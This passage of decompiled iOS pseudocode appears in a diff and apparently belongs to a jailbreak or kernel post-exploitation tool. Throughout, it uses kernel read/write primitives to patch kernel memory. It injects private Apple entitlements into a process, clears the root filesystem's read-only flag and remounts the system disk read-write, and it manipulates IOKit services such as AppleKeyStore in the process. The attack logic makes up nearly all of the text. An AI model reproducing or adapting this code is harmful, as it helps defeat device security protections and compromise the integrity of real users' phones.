*)&v3.f_mntfromname[7] ^ 0x31733173306B73LL) ) - { - return strcmp(a1, v3.f_mntonname) == 0; - } - return 0LL; -} - -//----- (0000000000014524) ---------------------------------------------------- -__int64 __fastcall sub_14524(_DWORD *a1, int a2) -{ - _BOOL4 v4; // w21 - char *v5; // x0 - const char *v6; // x1 - char v7; // w2 - __int64 v8; // x20 - __int64 v9; // x0 - int v10; // w1 - const char *v11; // x8 - int v12; // w20 - int v13; // w21 - int v14; // w0 - _BOOL4 v16; // w0 - char v18[3]; // [xsp+4h] [xbp-8Ch] BYREF - bool v19; // [xsp+7h] [xbp-89h] BYREF - statfs *v20; // [xsp+8h] [xbp-88h] BYREF - char __s1[39]; // [xsp+10h] [xbp-80h] BYREF - const char *v22[6]; // [xsp+38h] [xbp-58h] BYREF - - v19 = 0; - strcpy(__s1, "/private/var/MobileSoftwareUpdate/mnt1"); - strcpy(v18, "/"); - krw_ctx_set_flag(a1, 0x400); - if ( !(unsigned int)sub_154D0( - (__int64)a1, - mach_task_self_, - "com.apple.private.vfs.snapshot", - 0LL, - 8) ) - return 0LL; - if ( !(unsigned int)sub_226D4() ) - return 0LL; - v4 = sub_22CA8(&v19); - if ( v4 && !v19 && !(unsigned int)sub_141F0((__int64)a1) ) - return 0LL; - if ( a2 == 4 || a2 == 2 ) - { - if ( !v4 ) - { - v7 = a2 == 4; - v6 = "orig-fs"; - v5 = v18; -LABEL_18: - v8 = sub_228E4(v5, v6, v7); - if ( !(_DWORD)v8 ) - return v8; - goto LABEL_21; - } - if ( !sub_14444(__s1) ) - { - v8 = 1LL; -LABEL_21: - sub_36088(a1, 0x400); - return v8; - } - if ( (unsigned int)sub_148A4((__int64)a1, __s1) ) - { - v5 = __s1; - v6 = 0LL; - v7 = 0; - goto LABEL_18; - } - return 0LL; - } - if ( !v4 ) - { - if ( a2 == 1 ) - { - if ( !(unsigned int)sub_22ADC(v18, "orig-fs") ) - return 0LL; - v9 = (__int64)a1; - v10 = 1; - } - else - { - v9 = (__int64)a1; - v10 = 0; - } - return sub_14920(v9, v10); - } - if ( sub_14444(__s1) ) - { - if ( a2 == 1 ) - { - if ( !(unsigned int)sub_22ADC(__s1, 0LL) ) - return 0LL; - return (unsigned int)sub_14EC4((__int64)"/dev/disk0s1s1", __s1, 0x110000u) == 0; - } - return sub_148A4((__int64)a1, __s1); - } - if ( !(unsigned int)add_rw_to_disk((__int64)a1, v18, "/dev/disk0s1s1") ) - return 0LL; - v11 = "rdonly,nobrowse"; - v20 = 0LL; - v22[0] = "/sbin/mount_apfs"; - v22[1] = "-o"; - if ( a2 == 1 ) - v11 = "nobrowse"; - v22[2] = v11; - v22[3] = "/dev/disk0s1s1"; - v22[4] = __s1; - v22[5] = 0LL; - if ( !memcmp(__s1, "/private/var/MobileSoftwareUpdate", 0x21uLL) - && mkdir("/private/var/MobileSoftwareUpdate", 0x1FFu) - && *__error() != 0x11 ) - { - return 0LL; - } - if ( !(unsigned int)krw_inject_entitlements_maybe( - (__int64)a1, - mach_task_self_, - "com.apple.private.security.disk-device-access") ) - return 0LL; - v12 = mkdir(__s1, 0x1FFu); - if ( v12 ) - { - if ( *__error() != 0x11 ) - return 0LL; - } - if ( (int)a1[0x50] >= 0x1809 && chown(__s1, 0x1F5u, 0x1F5u) ) - return 0LL; - v13 = 6; - while ( 1 ) - { - v14 = sub_2B788(v22); - if ( v14 != 0x31 ) - break; - getmntinfo(&v20, 0); - usleep(0xC8u); - if ( !--v13 ) - goto LABEL_47; - } - if ( !v14 ) - { - v16 = sub_14444(__s1); - goto LABEL_48; - } -LABEL_47: - v16 = 0; -LABEL_48: - if ( !(v16 | v12) ) - { - rmdir(__s1); - return 0LL; - } - if ( !v16 ) - return 0LL; - if ( !sub_13FF8((__int64)a1, v18) || (v8 = sub_22ADC(__s1, 0LL), !(_DWORD)v8) ) - { - sub_148A4((__int64)a1, __s1); - return 0LL; - } - return v8; -} - -//----- (00000000000148A4) ---------------------------------------------------- -__int64 __fastcall sub_148A4(__int64 a1, char *a2) -{ - __int64 result; // x0 - int v5; // [xsp+Ch] [xbp-14h] BYREF - - v5 = 0; - result = sub_14D98(a1, a2, 1, (unsigned int *)&v5); - if ( (_DWORD)result ) - { - if ( (unsigned int)sub_14EC4((__int64)"/dev/disk0s1s1", a2, 0x110001u) ) - { - sub_14D98(a1, a2, v5, 0LL); - return 0LL; - } - else - { - return 1LL; - } - } - return result; -} - -//----- (0000000000014920) ---------------------------------------------------- -__int64 __fastcall sub_14920(__int64 a1, int a2) -{ - unsigned int v4; // w0 - __int64 v5; // x24 - char *f_mntonname; // x21 - unsigned __int64 v7; // x23 - _BOOL4 v8; // w0 - __int64 v9; // x24 - _BOOL4 v10; // w21 - int v11; // w0 - int v12; // w22 - int v13; // w8 - __int64 v14; // x0 - int v15; // w0 - int v16; // w24 - int v17; // w2 - int v18; // w0 - int v20; // [xsp+0h] [xbp-50h] BYREF - int v21; // [xsp+4h] [xbp-4Ch] BYREF - statfs *v22; // [xsp+8h] [xbp-48h] BYREF - - v22 = 0LL; - v4 = getmntinfo(&v22, 0); - if ( v4 ) - { - v5 = v4; - f_mntonname = v22->f_mntonname; - v7 = 1LL; - do - { - if ( !strcmp("/", f_mntonname) ) - v7 = f_mntonname[0xFFFFFFE8] & 1; - f_mntonname += 0x878; - --v5; - } - while ( v5 ); - } - else - { - v7 = 1LL; - } - v8 = sub_14F9C(); - v21 = 0; - if ( ((v7 & 1) == 0) == a2 ) - return 1LL; - v10 = v8; - if ( a2 ) - { - v11 = open("/", 0); - if ( v11 == 0xFFFFFFFF ) - return 0LL; - v12 = v11; - v13 = *(_DWORD *)(a1 + 0x140); - if ( (unsigned int)(v13 - 0x1F53) >= 2 && v13 != 0x1C1B && v13 != 0x1809 ) - return 0LL; - v14 = sub_14CA4(); - v9 = 0LL; - if ( !v14 ) - return v9; - v7 = v14 + 0x70; - if ( v14 == 0xFFFFFFFFFFFFFF90LL ) - return v9; - if ( !kread32_outptr(a1, v7, &v20) ) - return 0LL; - v20 &= ~0x4000u; - if ( !noppl_kwrite32(a1, v7, v20) ) - return 0LL; - v15 = open("/", 0); - if ( (v15 & 0x80000000) == 0 ) - { - v16 = v15; - LODWORD(v22) = 0; - ffsctl(v15, 0x80046814uLL, &v22, 0); - LODWORD(v22) = 1; - ffsctl(v16, 0x80046815uLL, &v22, 0); - LODWORD(v22) = 2; - if ( v10 ) - { - ffsctl(v16, 0x80044A11uLL, &v22, 0); - LODWORD(v22) = 3; - } - ffsctl(v16, 0x80046816uLL, &v22, 0); - close(v16); - } - v17 = 0x10000; - } - else - { - if ( v8 && !(unsigned int)sub_14D98(a1, "/", 1, (unsigned int *)&v21) ) - return 0LL; - v17 = 0x10010001; - v12 = 0xFFFFFFFF; - } - if ( v10 ) - v18 = sub_14EC4((__int64)"/dev/disk0s1s1", "/", v17); - else - v18 = sub_14F5C((__int64)"/dev/disk0s1s1", "/", v17); - if ( v18 == 0xFFFFFFFF ) - { - v9 = 0LL; - if ( a2 ) - goto LABEL_32; - } - else - { - v9 = 1LL; - if ( a2 ) - { -LABEL_32: - if ( kread32_outptr(a1, v7, &v20) ) - { - v20 |= 0x4000u; - if ( noppl_kwrite32(a1, v7, v20) ) - { - close(v12); - return v9; - } - } - return 0LL; - } - } - if ( (((unsigned int)v9 | !v10) & 1) == 0 && !(unsigned int)sub_14D98(a1, "/", v21, 0LL) ) - return 0LL; - return v9; -} - -//----- (0000000000014BEC) ---------------------------------------------------- -__int64 __fastcall sub_14BEC(__int64 a1, void *a2, _DWORD *a3, _BOOL4 *a4) -{ - _BOOL4 v7; // w20 - const char *v8; // x23 - size_t v9; // x24 - __int64 result; // x0 - - v7 = sub_22CA8(0LL); - if ( v7 ) - { - if ( !sub_14444("/private/var/MobileSoftwareUpdate/mnt1") ) - { - LODWORD(v9) = 0; -LABEL_10: - *a3 = v9; - result = 1LL; - if ( !a4 ) - return result; - goto LABEL_11; - } - v8 = "/private/var/MobileSoftwareUpdate/mnt1/"; - } - else - { - v8 = "/"; - } - v9 = strlen(v8) + 1; - if ( v9 <= (unsigned int)*a3 ) - { - memcpy(a2, v8, v9); - goto LABEL_10; - } - result = 0LL; - if ( a4 ) -LABEL_11: - *a4 = v7; - return result; -} - -//----- (0000000000014CA4) ---------------------------------------------------- -__int64 sub_14CA4() -{ - j__fileport_makeport(); - return 0LL; -} -// 14CE0: conditional instruction was optimized away because %var_14.4==0 - -//----- (0000000000014D98) ---------------------------------------------------- -__int64 __fastcall sub_14D98(__int64 a1, char *a2, int a3, unsigned int *a4) -{ - int v7; // w0 - int v8; // w19 - __int64 v9; // x0 - int v10; // w8 - __int64 v11; // x8 - __int64 v12; // x23 - mach_vm_address_t v13; // x24 - unsigned int v15; // [xsp+Ch] [xbp-34h] BYREF - - v7 = open(a2, 0); - if ( v7 != 0xFFFFFFFF ) - { - v8 = v7; - v9 = sub_14164((_DWORD *)a1); - if ( v9 ) - { - v10 = *(_DWORD *)(a1 + 0x140); - if ( (unsigned int)(v10 - 0x1F53) < 2 ) - { - v11 = 0x224LL; - } - else if ( v10 == 0x1809 ) - { - v11 = 0x1C8LL; - } - else - { - if ( v10 != 0x1C1B ) - goto LABEL_18; - v11 = 0x1DCLL; - if ( *(_QWORD *)(a1 + 0x158) > 0x1C1B19145FFFFFuLL ) - v11 = 0x1C4LL; - } - v13 = v11 + v9; - v12 = 0LL; - if ( !kread32_outptr(a1, v11 + v9, &v15) || v15 > 1 ) - goto LABEL_19; - if ( noppl_kwrite32(a1, v13, a3) ) - { - if ( a4 ) - *a4 = v15; - v12 = 1LL; - goto LABEL_19; - } - } -LABEL_18: - v12 = 0LL; -LABEL_19: - close(v8); - return v12; - } - return 0LL; -} - -//----- (0000000000014EC4) ---------------------------------------------------- -__int64 __fastcall sub_14EC4(__int64 a1, const char *a2, unsigned int a3) -{ - _QWORD v4[2]; // [xsp+0h] [xbp-140h] BYREF - __int128 v5; // [xsp+10h] [xbp-130h] - __int128 v6; // [xsp+20h] [xbp-120h] - __int128 v7; // [xsp+30h] [xbp-110h] - __int128 v8; // [xsp+40h] [xbp-100h] - __int128 v9; // [xsp+50h] [xbp-F0h] - __int128 v10; // [xsp+60h] [xbp-E0h] - __int128 v11; // [xsp+70h] [xbp-D0h] - __int128 v12; // [xsp+80h] [xbp-C0h] - __int128 v13; // [xsp+90h] [xbp-B0h] - __int128 v14; // [xsp+A0h] [xbp-A0h] - __int128 v15; // [xsp+B0h] [xbp-90h] - __int128 v16; // [xsp+C0h] [xbp-80h] - __int128 v17; // [xsp+D0h] [xbp-70h] - __int128 v18; // [xsp+E0h] [xbp-60h] - __int128 v19; // [xsp+F0h] [xbp-50h] - __int128 v20; // [xsp+100h] [xbp-40h] - __int128 v21; // [xsp+110h] [xbp-30h] - __int64 v22; // [xsp+120h] [xbp-20h] - - v22 = 0LL; - v20 = 0u; - v21 = 0u; - v18 = 0u; - v19 = 0u; - v16 = 0u; - v17 = 0u; - v14 = 0u; - v15 = 0u; - v12 = 0u; - v13 = 0u; - v10 = 0u; - v11 = 0u; - v8 = 0u; - v9 = 0u; - v6 = 0u; - v7 = 0u; - v5 = 0u; - v4[0] = a1; - v4[1] = a3; - return mount("apfs", a2, a3, v4); -} - -//----- (0000000000014F5C) ---------------------------------------------------- -__int64 __fastcall sub_14F5C(__int64 a1, const char *a2, int a3) -{ - __int64 v4; // [xsp+0h] [xbp-30h] BYREF - __int128 v5; // [xsp+8h] [xbp-28h] - __int128 v6; // [xsp+18h] [xbp-18h] - __int64 v7; // [xsp+28h] [xbp-8h] - - v7 = 0LL; - v6 = 0u; - v5 = 0u; - v4 = a1; - return mount("hfs", a2, a3, &v4); -} - -//----- (0000000000014F9C) ---------------------------------------------------- -bool sub_14F9C() -{ - unsigned int v0; // w0 - bool v1; // w23 - __int64 v2; // x22 - char *f_mntonname; // x19 - statfs *v5; // [xsp+8h] [xbp-38h] BYREF - - v5 = 0LL; - v0 = getmntinfo(&v5, 0); - v1 = 0; - if ( v0 ) - { - v2 = v0; - f_mntonname = v5->f_mntonname; - do - { - if ( !strcmp("/", f_mntonname) ) - v1 = strncmp("apfs", f_mntonname + 0xFFFFFFF0, 0x10uLL) == 0; - f_mntonname += 0x878; - --v2; - } - while ( v2 ); - } - return v1; -} - -//----- (000000000001503C) ---------------------------------------------------- -__int64 __fastcall krw_inject_entitlements_maybe(__int64 a1, __int64 a2, char *a3) -{ - int v4; // w23 - _BOOL8 v7; // x24 - void *v8; // x22 - CFPropertyListRef v9; // x21 - const __CFData *v10; // x20 - size_t v11; // x0 - void *(__cdecl *v12)(void *); // x0 - const __CFData *Data; // x0 - const __CFData *v14; // x23 - size_t Length; // x24 - const UInt8 *BytePtr; // x0 - int v17; // w0 - unsigned int v18; // w0 - mach_port_name_t v19; // w23 - int v20; // w8 - unsigned __int64 v21; // x0 - int v22; // w23 - CFPropertyListFormat format; // [xsp+8h] [xbp-108h] BYREF - CFTypeRef cf; // [xsp+10h] [xbp-100h] BYREF - __int64 v25; // [xsp+18h] [xbp-F8h] BYREF - int v26; // [xsp+20h] [xbp-F0h] - CFTypeRef v27; // [xsp+28h] [xbp-E8h] - mach_port_name_t name[2]; // [xsp+30h] [xbp-E0h] BYREF - int v29; // [xsp+38h] [xbp-D8h] - pthread_t v30; // [xsp+40h] [xbp-D0h] BYREF - pthread_attr_t v31; // [xsp+48h] [xbp-C8h] BYREF - __int64 vars8; // [xsp+118h] [xbp+8h] - - v4 = a2; - format = kCFPropertyListXMLFormat_v1_0; - cf = 0LL; - if ( *(_QWORD *)(a1 + 0x158) < 0x1F530000000000uLL ) - { - v7 = 0LL; - if ( (unsigned int)sub_251A4(a1, 0, 0x2710u) ) - return v7; - v31.__sig = a1; - *(_DWORD *)&v31.__opaque[4] = 0; - *(_DWORD *)v31.__opaque = v4; - *(_QWORD *)&v31.__opaque[8] = &cf; - *(_QWORD *)&v31.__opaque[0x10] = 0LL; - v7 = 0LL; - v8 = 0LL; - if ( pthread_create_and_join(a1, (__int64)sub_155A0, &v31) ) - { - v9 = 0LL; - v10 = 0LL; - if ( *(_DWORD *)&v31.__opaque[0x10] ) - { - v11 = strlen(a3); - v10 = CFDataCreateWithBytesNoCopy(kCFAllocatorDefault, (const UInt8 *)a3, v11 + 1, kCFAllocatorNull); - if ( !v10 ) - { - v8 = 0LL; - v9 = 0LL; - goto LABEL_15; - } - v9 = CFPropertyListCreateWithData(kCFAllocatorDefault, v10, 0LL, &format, 0LL); - if ( !v9 ) - goto LABEL_12; - if ( (unsigned int)sub_12BF4(cf, v9) ) - { - if ( (unsigned int)sub_12954(cf, v9) ) - { -LABEL_12: - v8 = 0LL; - goto LABEL_15; - } - if ( *(_QWORD *)(a1 + 0x158) >= 0x1C1B0A80100000uLL && (*(_DWORD *)a1 & 0x5584001) != 0 ) - { - v25 = a1; - v26 = v4; - v27 = cf; - if ( pthread_attr_init(&v31) ) - goto LABEL_12; - if ( pthread_attr_setdetachstate(&v31, 1) - || (v30 = 0LL, - v29 = 0x1001, - *(_QWORD *)name = &v25, - v12 = (void *(__cdecl *)(void *))nullsub_1(sub_15880), - pthread_create(&v30, &v31, v12, name)) - || pthread_join(v30, 0LL) ) - { - pthread_attr_destroy(&v31); - goto LABEL_12; - } - v22 = v29; - pthread_attr_destroy(&v31); - v8 = 0LL; - if ( v22 ) - goto LABEL_15; - } - else - { - Data = CFPropertyListCreateData(kCFAllocatorDefault, cf, kCFPropertyListXMLFormat_v1_0, 0LL, 0LL); - if ( !Data ) - goto LABEL_12; - v14 = Data; - Length = CFDataGetLength(Data); - v8 = calloc(Length + 1, 1uLL); - if ( !v8 ) - { - CFRelease(v14); - goto LABEL_15; - } - BytePtr = CFDataGetBytePtr(v14); - memcpy(v8, BytePtr, Length); - CFRelease(v14); - name[0] = 0; - v25 = 0LL; - v17 = strlen((const char *)v8); - v18 = sub_24FC0((__int64)v8, v17 + 1, name); - if ( v18 + 1 <= 1 ) - { -LABEL_15: - v7 = 0LL; - goto LABEL_16; - } - v19 = v18; - v20 = *(_DWORD *)(a1 + 0x140); - v7 = ((unsigned int)(v20 - 0x1F53) < 2 || v20 == 0x1C1B || v20 == 0x1809) - && (v21 = port_name_to_kaddr(a1, v18), (v25 = v21) != 0) - && kread64((_DWORD *)a1, v21 + 0x10, &v25) - && kread64((_DWORD *)a1, v25 + 0x18, &v25) - && noppl_kwrite32(a1, v25 + *(int *)(a1 + 0x168), 0xFF) - && (unsigned int)kreadbuf_last_1(a1, v25, 0x28LL, (__int64)&v31) - && (unsigned int)kwritebuf_last_1( - a1, - *(_QWORD *)(a1 + 0x390) + *(int *)(a1 + 0x168), - (__int64)&v31 + *(int *)(a1 + 0x168), - (unsigned int)(0x28 - *(_DWORD *)(a1 + 0x168))) != 0; - mach_port_destroy(mach_task_self_, v19); - if ( name[0] + 1 >= 2 ) - mach_port_destroy(mach_task_self_, name[0]); - if ( !v7 ) - goto LABEL_16; - } - } - else - { - v8 = 0LL; - } - v7 = 1LL; - } - } - else - { - v9 = 0LL; - v10 = 0LL; - } -LABEL_16: - sub_25164(a1, 0); - if ( cf ) - CFRelease(cf); - if ( v9 ) - CFRelease(v9); - if ( v10 ) - CFRelease(v10); - if ( v8 ) - free(v8); - return v7; - } - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - return krw_inject_entitlements2_maybe(a1, a2, a3, 1); -} -// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); - -//----- (00000000000154D0) ---------------------------------------------------- -__int64 __fastcall sub_154D0(__int64 a1, __int64 a2, char *a3, __int64 a4, int a5) -{ - __int64 result; // x0 - __int64 v10; // x23 - int v11; // [xsp+Ch] [xbp-34h] BYREF - - v11 = 0; - if ( (a5 & 0xB) == 0 ) - return 0LL; - result = sub_32D6C(a1, a2); - if ( result ) - { - result = sub_329B8(a1, result); - if ( result ) - { - v10 = result; - result = kreadbuf_last_1(a1, result, 4LL, (__int64)&v11); - if ( (_DWORD)result ) - { - if ( (v11 & a5) == 0 ) - { - result = krw_inject_entitlements_maybe(a1, a2, a3); - if ( (_DWORD)result ) - { - v11 |= a5; - return kwritebuf_last_1(a1, v10, (__int64)&v11, 4LL); - } - } - } - } - } - return result; -} - -//----- (00000000000155A0) ---------------------------------------------------- -__int64 __fastcall sub_155A0(__int64 a1) -{ - __int64 v2; // x21 - unsigned int v3; // w1 - CFMutableDictionaryRef *v4; // x25 - __int64 result; // x0 - io_service_t v6; // w20 - __int64 v7; // x22 - int v8; // w0 - kern_return_t v9; // w23 - int v10; // w24 - int v11; // w0 - unsigned __int64 v12; // x0 - unsigned __int64 v13; // x23 - io_object_t v14; // w22 - mach_vm_address_t v15; // x23 - __int64 v16; // x2 - kern_return_t v17; // w24 - io_iterator_t iterator[2]; // [xsp+8h] [xbp-68h] BYREF - CFMutableDictionaryRef properties; // [xsp+10h] [xbp-60h] BYREF - __int64 v20; // [xsp+18h] [xbp-58h] BYREF - __int64 v21; // [xsp+20h] [xbp-50h] BYREF - io_connect_t connect; // [xsp+2Ch] [xbp-44h] BYREF - - v2 = *(_QWORD *)a1; - v3 = *(_DWORD *)(a1 + 8); - v4 = *(CFMutableDictionaryRef **)(a1 + 0x10); - connect = 0; - v20 = 0LL; - v21 = 0LL; - properties = 0LL; - result = sub_34D14(v2, v3); - if ( !(_DWORD)result ) - goto LABEL_14; - result = validate_addr(v2, *(_QWORD *)(v2 + 0x390)); - if ( !result ) - goto LABEL_14; - if ( *(int *)(v2 + 0x140) < 0x1C1B ) - { - result = (__int64)sub_24D64("AppleM2ScalerCSCDriver"); - v6 = result; - } - else - { - v6 = (unsigned int)sub_24D64("AppleKeyStore"); - result = krw_ctx_has_flag((_DWORD *)v2, 4); - if ( !(_DWORD)result ) - { - v7 = *(_QWORD *)(v2 + 0x3A8); - goto LABEL_8; - } - } - v7 = 0LL; -LABEL_8: - if ( v6 + 1 < 2 ) - { -LABEL_14: - v10 = 0; - goto LABEL_15; - } - if ( v7 ) - { - sub_35AE0(v2, *(_DWORD *)(v2 + 0x37C), 0LL); - if ( !v8 ) - { -LABEL_19: - v10 = 0; - goto LABEL_20; - } - v9 = IOServiceOpen(v6, mach_task_self_, 0, &connect); - sub_35AE0(v2, *(_DWORD *)(v2 + 0x37C), v7); - v10 = 0; - if ( !v11 || v9 ) - goto LABEL_20; -LABEL_17: - iterator[0] = 0; - v12 = port_name_to_kaddr(v2, connect); - if ( !v12 ) - goto LABEL_19; - v13 = v12; - if ( IORegistryEntryGetChildIterator(v6, "IOService", iterator) ) - goto LABEL_19; - while ( 1 ) - { - v14 = IOIteratorNext(iterator[0]); - if ( !v14 ) - break; - if ( v13 == port_name_to_kaddr(v2, v14) ) - goto LABEL_27; - IOObjectRelease(v14); - } - v13 = 0LL; -LABEL_27: - IOObjectRelease(iterator[0]); - v10 = 0; - if ( !v14 || !v13 ) - { -LABEL_43: - if ( v14 + 1 >= 2 ) - IOObjectRelease(v14); - goto LABEL_20; - } - v15 = v13 + 0x20; - if ( kread64((_DWORD *)v2, v15, &v21) ) - { - v16 = *(_QWORD *)(v2 + 0x390); - if ( *(_QWORD *)(v2 + 0x158) < 0x1F530000000000uLL ) - { - v20 = *(_QWORD *)(v2 + 0x390); -LABEL_35: - if ( kwrite64(v2, v15, v16) ) - { - v17 = IORegistryEntryCreateCFProperties(v14, &properties, kCFAllocatorDefault, 0); - if ( !kwrite64(v2, v15, v21) || v17 ) - { - if ( properties ) - CFRelease(properties); - } - else if ( properties ) - { - *v4 = properties; - v10 = 1; - goto LABEL_43; - } - } - goto LABEL_42; - } - if ( kread64((_DWORD *)v2, v16 + 0x88, &v20) && validate_addr(v2, v20) ) - { - v16 = v20; - goto LABEL_35; - } - } -LABEL_42: - v10 = 0; - goto LABEL_43; - } - v10 = 0; - if ( !IOServiceOpen(v6, mach_task_self_, 0, &connect) ) - goto LABEL_17; -LABEL_20: - if ( connect + 1 >= 2 ) - { - *(_QWORD *)iterator = 1LL; - IOServiceClose(connect); - IOServiceWaitQuiet(v6, (mach_timespec_t *)iterator); - } - result = IOObjectRelease(v6); -LABEL_15: - *(_DWORD *)(a1 + 0x18) = v10; - return result; -} -// 15664: variable 'v8' is possibly undefined -// 1569C: variable 'v11' is possibly undefined - -//----- (0000000000015880) ---------------------------------------------------- -__int64 __fastcall sub_15880(__int64 a1) -{ - __int64 v2; // x21 - task_inspect_t v3; // w25 - const void *v4; // x20 - host_t v5; // w0 - kern_return_t v6; // w0 - int v7; // w23 - unsigned int v8; // w22 - vm_address_t v9; // x1 - unsigned __int64 v10; // x20 - mach_port_t v11; // w8 - thread_act_t v12; // w0 - kern_return_t v13; // w0 - unsigned int v14; // w8 - const __CFData *v16; // x0 - const __CFData *v17; // x20 - const UInt8 *BytePtr; // x22 - unsigned int Length; // w0 - unsigned int v20; // w24 - bool v21; // zf - unsigned __int64 v22; // x0 - int v23; // w26 - int v24; // w8 - thread_act_t v27; // w0 - mach_port_t v28; // w0 - kern_return_t v29; // w0 - unsigned __int64 v30; // x23 - mach_port_t v31; // w8 - thread_act_t v32; // w0 - int v33; // w0 - int v34; // w0 - unsigned __int64 v35; // x0 - __int64 v36; // x8 - int v37; // w0 - unsigned __int64 v38; // [xsp+0h] [xbp-70h] BYREF - task_suspension_token_t suspend_token[2]; // [xsp+8h] [xbp-68h] BYREF - vm_address_t address; // [xsp+10h] [xbp-60h] BYREF - io_master_t io_master[2]; // [xsp+18h] [xbp-58h] BYREF - - v2 = **(_QWORD **)a1; - v3 = *(_DWORD *)(*(_QWORD *)a1 + 8LL); - v4 = *(const void **)(*(_QWORD *)a1 + 0x10LL); - address = 0LL; - *(_QWORD *)io_master = 0LL; - *(_QWORD *)suspend_token = 0LL; - v5 = mach_host_self(); - v6 = host_get_io_master(v5, &io_master[1]); - if ( !v6 ) - { - v6 = mach_port_allocate(mach_task_self_, 1u, io_master); - if ( !v6 ) - { - v7 = 0xAD009; - v16 = IOCFSerialize(v4, 1uLL); - if ( !v16 ) - goto LABEL_4; - v17 = v16; - BytePtr = CFDataGetBytePtr(v16); - Length = CFDataGetLength(v17); - v20 = Length; - if ( BytePtr ) - v21 = Length == 0; - else - v21 = 1; - if ( v21 ) - goto LABEL_56; - if ( !*(_QWORD *)(v2 + 0x19A8) ) - { - v22 = sub_403E0(v2, "iokit.OSDictionary"); - if ( !v22 ) - { - v7 = 0xAD011; - goto LABEL_56; - } - *(_QWORD *)(v2 + 0x19A8) = v22; - } - v23 = 0x2800F; - v24 = *(_DWORD *)(v2 + 0x140); - if ( (unsigned int)(v24 - 0x1F53) >= 2 && v24 != 0x1C1B && v24 != 0x1809 ) - { - v7 = 0x28011; - goto LABEL_56; - } - v27 = mach_thread_self(); - if ( !sub_2515C(v27) ) - { - v7 = 0x28038; - goto LABEL_56; - } - v28 = mach_thread_self(); - v7 = sub_37A50((int *)v2, v28, 1, 1, 0x60); - if ( v7 ) - { -LABEL_56: - v8 = 0; -LABEL_57: - CFRelease(v17); - goto LABEL_5; - } - thread_switch(0, 2, 0xAu); - if ( mach_task_self_ == v3 ) - { - v29 = task_threads(v3, (thread_act_array_t *)&address, &suspend_token[1]); - if ( !v29 ) - { - if ( suspend_token[1] ) - { - v30 = 0LL; - do - { - if ( (unsigned int)(*(_DWORD *)(address + 4 * v30) + 1) >= 2 ) - { - v31 = mach_thread_self(); - v32 = *(_DWORD *)(address + 4 * v30); - if ( v31 != v32 ) - thread_suspend(v32); - } - ++v30; - } - while ( v30 < suspend_token[1] ); - } -LABEL_58: - sub_35AE0(v2, *(_DWORD *)(v2 + 0x378), 0LL); - if ( v33 ) - { - v34 = sub_4087C( - v2, - *(_QWORD *)(v2 + 0x19A8), - 0x28uLL, - *(_QWORD *)(v2 + 0x390), - (__int64 (__fastcall *)(__int64, __int64))sub_15CA4, - 0LL); - if ( v34 ) - { - v8 = 0; - v23 = v34; -LABEL_63: - v7 = v23; - goto LABEL_57; - } - v8 = sub_24DA8(io_master[1], (__int64)"IOServicePublish", (__int64)BytePtr, v20, io_master[0], 0LL, 0); - if ( v8 ) - { - v35 = port_name_to_kaddr(v2, v8); - v38 = v35; - if ( v35 ) - { - if ( kread64((_DWORD *)v2, v35 + 0x10, (__int64 *)&v38) - && kread64((_DWORD *)v2, v38 + 0x18, (__int64 *)&v38) ) - { - v36 = *(_QWORD *)(v2 + 0x390); - if ( v36 == v38 ) - { - if ( noppl_kwrite32(v2, v36 + *(int *)(v2 + 0x168), 0xFF) ) - { - sub_35AE0(v2, *(_DWORD *)(v2 + 0x378), *(_QWORD *)(v2 + 0x3A0)); - if ( v37 ) - v23 = 0; - else - v23 = 0x28010; - } - else - { - v23 = 0x28010; - } - } - else - { - v23 = 0x2803C; - } - } - } - else - { - v23 = 0x2800E; - } - goto LABEL_63; - } - } - else - { - v8 = 0; - } - v23 = 0x1001; - goto LABEL_63; - } - } - else - { - v29 = task_suspend2(v3, suspend_token); - if ( !v29 ) - goto LABEL_58; - } - v7 = v29 | 0x80000000; - goto LABEL_56; - } - } - v7 = v6 | 0x80000000; -LABEL_4: - v8 = 0; -LABEL_5: - if ( suspend_token[1] ) - { - v9 = address; - if ( address ) - { - v10 = 0LL; - do - { - if ( (unsigned int)(*(_DWORD *)(v9 + 4 * v10) + 1) >= 2 ) - { - v11 = mach_thread_self(); - v12 = *(_DWORD *)(address + 4 * v10); - if ( v11 != v12 ) - thread_resume(v12); - } - ++v10; - v9 = address; - } - while ( v10 < suspend_token[1] ); - vm_deallocate(mach_task_self_, address, 4LL * suspend_token[1]); - } - } - if ( suspend_token[0] + 1 >= 2 ) - { - v13 = task_resume2(suspend_token[0]); - v14 = v13 | 0x80000000; - if ( v7 ) - v14 = v7; - if ( v13 ) - v7 = v14; - } - if ( io_master[1] + 1 >= 2 ) - mach_port_deallocate(mach_task_self_, io_master[1]); - if ( v8 + 1 >= 2 ) - mach_port_deallocate(mach_task_self_, v8); - if ( io_master[0] + 1 >= 2 ) - mach_port_mod_refs(mach_task_self_, io_master[0], 1u, 0xFFFFFFFF); - *(_DWORD *)(a1 + 8) = v7; - return 0LL; -} -// 15B94: variable 'v33' is possibly undefined -// 15C84: variable 'v37' is possibly undefined - -//----- (0000000000015CA4) ---------------------------------------------------- -__int64 sub_15CA4() -{ - sub_24D64("xyz"); - return 0LL; -} - -//----- (0000000000015CC8) ---------------------------------------------------- -void __fastcall sub_15CC8(__int64 a1) -{ - void *v1; // x19 - __int64 vars8; // [xsp+18h] [xbp+8h] - - v1 = *(void **)(a1 + 0x1D58); - if ( v1 ) - { - *(_QWORD *)(a1 + 0x1D58) = 0LL; - bzero(v1, 0x520uLL); - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - free(v1); - } -} -// 15D00: variable 'vars8' is possibly undefined - -//----- (0000000000015D1C) ---------------------------------------------------- -__int64 __fastcall sub_15D1C(__int64 a1, __int64 a2, int a3) -{ - __int64 v5; // x22 - __int64 v6; // x21 - __int64 v7; // x23 - int v8; // w0 - __int64 v9; // x25 - __int64 v10; // x8 - __int64 v11; // x21 - __int64 v12; // x22 - int v13; // w8 - int v14; // w26 - int v16; // [xsp+Ch] [xbp-74h] BYREF - _BYTE v17[4]; // [xsp+10h] [xbp-70h] BYREF - int v18; // [xsp+14h] [xbp-6Ch] BYREF - _QWORD v19[4]; // [xsp+18h] [xbp-68h] BYREF - __int64 v20; // [xsp+38h] [xbp-48h] - - v18 = a3; - v5 = *(_QWORD *)(a1 + 0x1D58); - v6 = *(_QWORD *)(a1 + 0x188); - if ( !(unsigned int)sub_251A4(a1, 8u, 0x3A98u) ) - { - if ( !v5 ) - { - 